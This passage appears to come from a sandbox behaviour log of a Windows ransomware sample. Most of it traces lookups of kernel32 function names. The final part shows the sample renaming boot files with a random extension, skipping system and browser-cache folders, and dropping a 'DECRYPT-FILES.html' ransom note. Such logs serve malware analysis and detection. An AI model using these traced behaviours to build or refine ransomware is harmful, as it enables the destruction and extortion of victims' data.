lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0057.622] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0057.622] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0057.622] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0057.622] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0057.622] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0057.622] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0057.622] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0057.622] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0057.622] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0057.622] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0057.622] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0057.622] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0057.622] lstrlenA (lpString="CREATEJOBSET") returned 12 [0057.623] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0057.623] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0057.623] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0057.623] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0057.623] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0057.623] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0057.623] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0057.623] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0057.623] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0057.623] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0057.623] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0057.623] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0057.623] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0057.623] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0057.623] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0057.623] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0057.623] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0057.623] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0057.623] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0057.623] lstrlenA (lpString="CREATEPIPE") returned 10 [0057.623] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0057.623] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0057.623] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0057.623] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0057.623] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0057.623] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0057.623] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0057.623] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0057.623] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0057.623] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0057.624] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0057.624] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0057.624] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0057.624] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0057.624] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0057.624] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0057.624] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0057.624] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0057.624] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0057.624] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0057.624] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0057.624] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0057.624] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0057.624] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0057.624] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0057.624] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0057.624] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0057.624] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0057.624] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0057.624] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0057.624] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0057.624] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0057.624] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0057.624] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0057.624] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0057.624] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0057.624] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0057.624] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0057.624] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0057.624] lstrlenA (lpString="CREATETHREAD") returned 12 [0057.625] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0057.625] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0057.625] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0057.625] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0057.625] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0057.625] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0057.625] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0057.625] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0057.625] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0057.625] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0057.625] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0057.625] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0057.625] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0057.625] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0057.625] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0057.625] lstrlenA (lpString="CREATETIMERQUEUETIMER") returned 21 [0057.625] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateToolhelp32Snapshot" | out: lpString1="CreateToolhelp32Snapshot") returned="CreateToolhelp32Snapshot" [0057.625] lstrlenA (lpString="CREATETOOLHELP32SNAPSHOT") returned 24 [0057.625] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateWaitableTimerA" | out: lpString1="CreateWaitableTimerA") returned="CreateWaitableTimerA" [0057.625] lstrlenA (lpString="CREATEWAITABLETIMERA") returned 20 [0057.625] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateWaitableTimerExA" | out: lpString1="CreateWaitableTimerExA") returned="CreateWaitableTimerExA" [0057.625] lstrlenA (lpString="CREATEWAITABLETIMEREXA") returned 22 [0057.625] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateWaitableTimerExW" | out: lpString1="CreateWaitableTimerExW") returned="CreateWaitableTimerExW" [0057.625] lstrlenA (lpString="CREATEWAITABLETIMEREXW") returned 22 [0057.625] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CreateWaitableTimerW" | out: lpString1="CreateWaitableTimerW") returned="CreateWaitableTimerW" [0057.625] lstrlenA (lpString="CREATEWAITABLETIMERW") returned 20 [0057.625] lstrcpyA (in: lpString1=0x321ddb0, lpString2="CtrlRoutine" | out: lpString1="CtrlRoutine") returned="CtrlRoutine" [0057.625] lstrlenA (lpString="CTRLROUTINE") returned 11 [0057.625] lstrcpyA (in: lpString1=0x321ddb0, lpString2="DeactivateActCtx" | out: lpString1="DeactivateActCtx") returned="DeactivateActCtx" [0057.625] lstrlenA (lpString="DEACTIVATEACTCTX") returned 16 [0057.626] lstrcpyA (in: lpString1=0x321ddb0, lpString2="DebugActiveProcess" | out: lpString1="DebugActiveProcess") returned="DebugActiveProcess" [0057.626] lstrlenA (lpString="DEBUGACTIVEPROCESS") returned 18 [0057.626] lstrcpyA (in: lpString1=0x321ddb0, lpString2="DebugActiveProcessStop" | out: lpString1="DebugActiveProcessStop") returned="DebugActiveProcessStop" [0057.626] lstrlenA (lpString="DEBUGACTIVEPROCESSSTOP") returned 22 [0057.626] lstrcpyA (in: lpString1=0x321ddb0, lpString2="DebugBreak" | out: lpString1="DebugBreak") returned="DebugBreak" [0057.626] lstrlenA (lpString="DEBUGBREAK") returned 10 [0057.626] lstrcpyA (in: lpString1=0x321ddb0, lpString2="DebugBreakProcess" | out: lpString1="DebugBreakProcess") returned="DebugBreakProcess" [0057.626] lstrlenA (lpString="DEBUGBREAKPROCESS") returned 17 [0057.626] lstrcpyA (in: lpString1=0x321ddb0, lpString2="DebugSetProcessKillOnExit" | out: lpString1="DebugSetProcessKillOnExit") returned="DebugSetProcessKillOnExit" [0057.626] lstrlenA (lpString="DEBUGSETPROCESSKILLONEXIT") returned 25 [0057.626] lstrcpyA (in: lpString1=0x321ddb0, lpString2="DecodePointer" | out: lpString1="DecodePointer") returned="DecodePointer" [0057.626] lstrlenA (lpString="DECODEPOINTER") returned 13 [0057.626] lstrcpyA (in: lpString1=0x321ddb0, lpString2="DecodeSystemPointer" | out: lpString1="DecodeSystemPointer") returned="DecodeSystemPointer" [0057.626] lstrlenA (lpString="DECODESYSTEMPOINTER") returned 19 [0057.626] lstrcpyA (in: lpString1=0x321ddb0, lpString2="DefineDosDeviceA" | out: lpString1="DefineDosDeviceA") returned="DefineDosDeviceA" [0057.626] lstrlenA (lpString="DEFINEDOSDEVICEA") returned 16 [0057.626] lstrcpyA (in: lpString1=0x321ddb0, lpString2="DefineDosDeviceW" | out: lpString1="DefineDosDeviceW") returned="DefineDosDeviceW" [0057.626] lstrlenA (lpString="DEFINEDOSDEVICEW") returned 16 [0057.626] lstrcpyA (in: lpString1=0x321ddb0, lpString2="DelayLoadFailureHook" | out: lpString1="DelayLoadFailureHook") returned="DelayLoadFailureHook" [0057.626] lstrlenA (lpString="DELAYLOADFAILUREHOOK") returned 20 [0057.626] lstrcpyA (in: lpString1=0x321ddb0, lpString2="DeleteAtom" | out: lpString1="DeleteAtom") returned="DeleteAtom" [0057.626] lstrlenA (lpString="DELETEATOM") returned 10 [0057.626] lstrcpyA (in: lpString1=0x321ddb0, lpString2="DeleteBoundaryDescriptor" | out: lpString1="DeleteBoundaryDescriptor") returned="DeleteBoundaryDescriptor" [0057.626] lstrlenA (lpString="DELETEBOUNDARYDESCRIPTOR") returned 24 [0057.626] lstrcpyA (in: lpString1=0x321ddb0, lpString2="DeleteCriticalSection" | out: lpString1="DeleteCriticalSection") returned="DeleteCriticalSection" [0057.626] lstrlenA (lpString="DELETECRITICALSECTION") returned 21 [0057.626] lstrcpyA (in: lpString1=0x321ddb0, lpString2="DeleteFiber" | out: lpString1="DeleteFiber") returned="DeleteFiber" [0057.626] lstrlenA (lpString="DELETEFIBER") returned 11 [0057.626] lstrcpyA (in: lpString1=0x321ddb0, lpString2="DeleteFileA" | out: lpString1="DeleteFileA") returned="DeleteFileA" [0057.627] lstrlenA (lpString="DELETEFILEA") returned 11 [0057.627] lstrcpyA (in: lpString1=0x321ddb0, lpString2="DeleteFileTransactedA" | out: lpString1="DeleteFileTransactedA") returned="DeleteFileTransactedA" [0057.627] lstrlenA (lpString="DELETEFILETRANSACTEDA") returned 21 [0057.627] lstrcpyA (in: lpString1=0x321ddb0, lpString2="DeleteFileTransactedW" | out: lpString1="DeleteFileTransactedW") returned="DeleteFileTransactedW" [0057.627] lstrlenA (lpString="DELETEFILETRANSACTEDW") returned 21 [0057.627] lstrcpyA (in: lpString1=0x321ddb0, lpString2="DeleteFileW" | out: lpString1="DeleteFileW") returned="DeleteFileW" [0057.627] lstrlenA (lpString="DELETEFILEW") returned 11 [0057.627] lstrcpyA (in: lpString1=0x321ddb0, lpString2="DeleteProcThreadAttributeList" | out: lpString1="DeleteProcThreadAttributeList") returned="DeleteProcThreadAttributeList" [0057.627] lstrlenA (lpString="DELETEPROCTHREADATTRIBUTELIST") returned 29 [0057.627] lstrcpyA (in: lpString1=0x321ddb0, lpString2="DeleteTimerQueue" | out: lpString1="DeleteTimerQueue") returned="DeleteTimerQueue" [0057.627] lstrlenA (lpString="DELETETIMERQUEUE") returned 16 [0057.627] lstrcpyA (in: lpString1=0x321ddb0, lpString2="DeleteTimerQueueEx" | out: lpString1="DeleteTimerQueueEx") returned="DeleteTimerQueueEx" [0057.627] lstrlenA (lpString="DELETETIMERQUEUEEX") returned 18 [0057.627] lstrcpyA (in: lpString1=0x321ddb0, lpString2="DeleteTimerQueueTimer" | out: lpString1="DeleteTimerQueueTimer") returned="DeleteTimerQueueTimer" [0057.627] lstrlenA (lpString="DELETETIMERQUEUETIMER") returned 21 [0057.627] lstrcpyA (in: lpString1=0x321ddb0, lpString2="DeleteVolumeMountPointA" | out: lpString1="DeleteVolumeMountPointA") returned="DeleteVolumeMountPointA" [0057.627] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTA") returned 23 [0057.627] lstrcpyA (in: lpString1=0x321ddb0, lpString2="DeleteVolumeMountPointW" | out: lpString1="DeleteVolumeMountPointW") returned="DeleteVolumeMountPointW" [0057.627] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTW") returned 23 [0057.627] lstrcpyA (in: lpString1=0x321ddb0, lpString2="DeviceIoControl" | out: lpString1="DeviceIoControl") returned="DeviceIoControl" [0057.627] lstrlenA (lpString="DEVICEIOCONTROL") returned 15 [0057.627] lstrcpyA (in: lpString1=0x321ddb0, lpString2="DisableThreadLibraryCalls" | out: lpString1="DisableThreadLibraryCalls") returned="DisableThreadLibraryCalls" [0057.627] lstrlenA (lpString="DISABLETHREADLIBRARYCALLS") returned 25 [0057.627] lstrcpyA (in: lpString1=0x321ddb0, lpString2="DisableThreadProfiling" | out: lpString1="DisableThreadProfiling") returned="DisableThreadProfiling" [0057.627] lstrlenA (lpString="DISABLETHREADPROFILING") returned 22 [0057.627] lstrcpyA (in: lpString1=0x321ddb0, lpString2="DisassociateCurrentThreadFromCallback" | out: lpString1="DisassociateCurrentThreadFromCallback") returned="DisassociateCurrentThreadFromCallback" [0057.627] lstrlenA (lpString="DISASSOCIATECURRENTTHREADFROMCALLBACK") returned 37 [0057.627] lstrcpyA (in: lpString1=0x321ddb0, lpString2="DisconnectNamedPipe" | out: lpString1="DisconnectNamedPipe") returned="DisconnectNamedPipe" [0057.627] lstrlenA (lpString="DISCONNECTNAMEDPIPE") returned 19 [0057.627] lstrcpyA (in: lpString1=0x321ddb0, lpString2="DnsHostnameToComputerNameA" | out: lpString1="DnsHostnameToComputerNameA") returned="DnsHostnameToComputerNameA" [0057.627] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEA") returned 26 [0057.628] lstrcpyA (in: lpString1=0x321ddb0, lpString2="DnsHostnameToComputerNameW" | out: lpString1="DnsHostnameToComputerNameW") returned="DnsHostnameToComputerNameW" [0057.628] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEW") returned 26 [0057.628] lstrcpyA (in: lpString1=0x321ddb0, lpString2="DosDateTimeToFileTime" | out: lpString1="DosDateTimeToFileTime") returned="DosDateTimeToFileTime" [0057.628] lstrlenA (lpString="DOSDATETIMETOFILETIME") returned 21 [0057.628] lstrcpyA (in: lpString1=0x321ddb0, lpString2="DosPathToSessionPathA" | out: lpString1="DosPathToSessionPathA") returned="DosPathToSessionPathA" [0057.628] lstrlenA (lpString="DOSPATHTOSESSIONPATHA") returned 21 [0057.628] lstrcpyA (in: lpString1=0x321ddb0, lpString2="DosPathToSessionPathW" | out: lpString1="DosPathToSessionPathW") returned="DosPathToSessionPathW" [0057.628] lstrlenA (lpString="DOSPATHTOSESSIONPATHW") returned 21 [0057.628] lstrcpyA (in: lpString1=0x321ddb0, lpString2="DuplicateConsoleHandle" | out: lpString1="DuplicateConsoleHandle") returned="DuplicateConsoleHandle" [0057.628] lstrlenA (lpString="DUPLICATECONSOLEHANDLE") returned 22 [0057.628] lstrcpyA (in: lpString1=0x321ddb0, lpString2="DuplicateHandle" | out: lpString1="DuplicateHandle") returned="DuplicateHandle" [0057.628] lstrlenA (lpString="DUPLICATEHANDLE") returned 15 [0057.628] lstrcpyA (in: lpString1=0x321ddb0, lpString2="EnableThreadProfiling" | out: lpString1="EnableThreadProfiling") returned="EnableThreadProfiling" [0057.628] lstrlenA (lpString="ENABLETHREADPROFILING") returned 21 [0057.628] lstrcpyA (in: lpString1=0x321ddb0, lpString2="EncodePointer" | out: lpString1="EncodePointer") returned="EncodePointer" [0057.628] lstrlenA (lpString="ENCODEPOINTER") returned 13 [0057.628] lstrcpyA (in: lpString1=0x321ddb0, lpString2="EncodeSystemPointer" | out: lpString1="EncodeSystemPointer") returned="EncodeSystemPointer" [0057.628] lstrlenA (lpString="ENCODESYSTEMPOINTER") returned 19 [0057.628] lstrcpyA (in: lpString1=0x321ddb0, lpString2="EndUpdateResourceA" | out: lpString1="EndUpdateResourceA") returned="EndUpdateResourceA" [0057.628] lstrlenA (lpString="ENDUPDATERESOURCEA") returned 18 [0057.628] lstrcpyA (in: lpString1=0x321ddb0, lpString2="EndUpdateResourceW" | out: lpString1="EndUpdateResourceW") returned="EndUpdateResourceW" [0057.628] lstrlenA (lpString="ENDUPDATERESOURCEW") returned 18 [0057.628] lstrcpyA (in: lpString1=0x321ddb0, lpString2="EnterCriticalSection" | out: lpString1="EnterCriticalSection") returned="EnterCriticalSection" [0057.628] lstrlenA (lpString="ENTERCRITICALSECTION") returned 20 [0057.628] lstrcpyA (in: lpString1=0x321ddb0, lpString2="EnumCalendarInfoA" | out: lpString1="EnumCalendarInfoA") returned="EnumCalendarInfoA" [0057.628] lstrlenA (lpString="ENUMCALENDARINFOA") returned 17 [0057.628] lstrcpyA (in: lpString1=0x321ddb0, lpString2="EnumCalendarInfoExA" | out: lpString1="EnumCalendarInfoExA") returned="EnumCalendarInfoExA" [0057.628] lstrlenA (lpString="ENUMCALENDARINFOEXA") returned 19 [0057.628] lstrcpyA (in: lpString1=0x321ddb0, lpString2="EnumCalendarInfoExEx" | out: lpString1="EnumCalendarInfoExEx") returned="EnumCalendarInfoExEx" [0057.628] lstrlenA (lpString="ENUMCALENDARINFOEXEX") returned 20 [0057.628] lstrcpyA (in: lpString1=0x321ddb0, lpString2="EnumCalendarInfoExW" | out: lpString1="EnumCalendarInfoExW") returned="EnumCalendarInfoExW" [0057.629] lstrlenA (lpString="ENUMCALENDARINFOEXW") returned 19 [0057.629] lstrcpyA (in: lpString1=0x321ddb0, lpString2="EnumCalendarInfoW" | out: lpString1="EnumCalendarInfoW") returned="EnumCalendarInfoW" [0057.629] lstrlenA (lpString="ENUMCALENDARINFOW") returned 17 [0057.629] lstrcpyA (in: lpString1=0x321ddb0, lpString2="EnumDateFormatsA" | out: lpString1="EnumDateFormatsA") returned="EnumDateFormatsA" [0057.629] lstrlenA (lpString="ENUMDATEFORMATSA") returned 16 [0057.629] lstrcpyA (in: lpString1=0x321ddb0, lpString2="EnumDateFormatsExA" | out: lpString1="EnumDateFormatsExA") returned="EnumDateFormatsExA" [0057.629] lstrlenA (lpString="ENUMDATEFORMATSEXA") returned 18 [0057.629] lstrcpyA (in: lpString1=0x321ddb0, lpString2="EnumDateFormatsExEx" | out: lpString1="EnumDateFormatsExEx") returned="EnumDateFormatsExEx" [0057.629] lstrlenA (lpString="ENUMDATEFORMATSEXEX") returned 19 [0057.629] lstrcpyA (in: lpString1=0x321ddb0, lpString2="EnumDateFormatsExW" | out: lpString1="EnumDateFormatsExW") returned="EnumDateFormatsExW" [0057.629] lstrlenA (lpString="ENUMDATEFORMATSEXW") returned 18 [0057.629] lstrcpyA (in: lpString1=0x321ddb0, lpString2="EnumDateFormatsW" | out: lpString1="EnumDateFormatsW") returned="EnumDateFormatsW" [0057.629] lstrcpyW (in: lpString1=0x2fb0000, lpString2="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890" | out: lpString1="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890" [0057.629] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0057.629] wsprintfW (in: param_1=0x321ea68, param_2="%s.%s" | out: param_1="C:\\Boot\\BOOTSTAT.DAT.R0GsRvs") returned 28 [0057.629] MoveFileExW (lpExistingFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), lpNewFileName="C:\\Boot\\BOOTSTAT.DAT.R0GsRvs" (normalized: "c:\\boot\\bootstat.dat.r0gsrvs"), dwFlags=0x0) returned 1 [0057.630] VirtualFree (lpAddress=0x2f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.631] VirtualFree (lpAddress=0x2fb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.631] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.631] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0057.631] lstrcmpW (lpString1="cs-CZ", lpString2=".") returned 1 [0057.631] lstrcmpW (lpString1="cs-CZ", lpString2="..") returned 1 [0057.631] lstrcatW (in: lpString1="cs-CZ", lpString2="\\" | out: lpString1="cs-CZ\\") returned="cs-CZ\\" [0057.631] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="cs-CZ\\" | out: lpString1="C:\\Boot\\cs-CZ\\") returned="C:\\Boot\\cs-CZ\\" [0057.631] StrStrW (lpFirst="C:\\Boot\\cs-CZ\\", lpSrch=":\\Windows") returned 0x0 [0057.632] StrStrW (lpFirst="C:\\Boot\\cs-CZ\\", lpSrch="\\Program Files") returned 0x0 [0057.632] StrStrW (lpFirst="C:\\Boot\\cs-CZ\\", lpSrch="\\Games\\") returned 0x0 [0057.632] StrStrW (lpFirst="C:\\Boot\\cs-CZ\\", lpSrch="\\Tor Browser\\") returned 0x0 [0057.632] StrStrW (lpFirst="C:\\Boot\\cs-CZ\\", lpSrch="\\ProgramData\\") returned 0x0 [0057.632] StrStrW (lpFirst="C:\\Boot\\cs-CZ\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0057.632] StrStrW (lpFirst="C:\\Boot\\cs-CZ\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0057.632] StrStrW (lpFirst="C:\\Boot\\cs-CZ\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0057.632] StrStrW (lpFirst="C:\\Boot\\cs-CZ\\", lpSrch="\\All Users") returned 0x0 [0057.632] lstrlenW (lpString="C:\\Boot\\cs-CZ\\") returned 14 [0057.632] lstrlenW (lpString="wevkgn5.dat") returned 11 [0057.632] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\cs-CZ\\\\wevkgn5.dat") returned 26 [0057.632] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\\\wevkgn5.dat" (normalized: "c:\\boot\\cs-cz\\wevkgn5.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x280 [0057.632] lstrlenW (lpString="C:\\Boot\\cs-CZ\\") returned 14 [0057.632] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0057.632] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\cs-CZ\\\\DECRYPT-FILES.html") returned 33 [0057.632] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\\\DECRYPT-FILES.html" (normalized: "c:\\boot\\cs-cz\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x284 [0057.634] WriteFile (in: hFile=0x284, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x19ba, lpNumberOfBytesWritten=0x321eff8, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x321eff8*=0x19ba, lpOverlapped=0x0) returned 1 [0057.635] CloseHandle (hObject=0x284) returned 1 [0057.635] lstrlenW (lpString="C:\\Boot\\cs-CZ\\") returned 14 [0057.635] lstrcatW (in: lpString1="C:\\Boot\\cs-CZ\\", lpString2="*" | out: lpString1="C:\\Boot\\cs-CZ\\*") returned="C:\\Boot\\cs-CZ\\*" [0057.635] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x88866390, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88866390, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 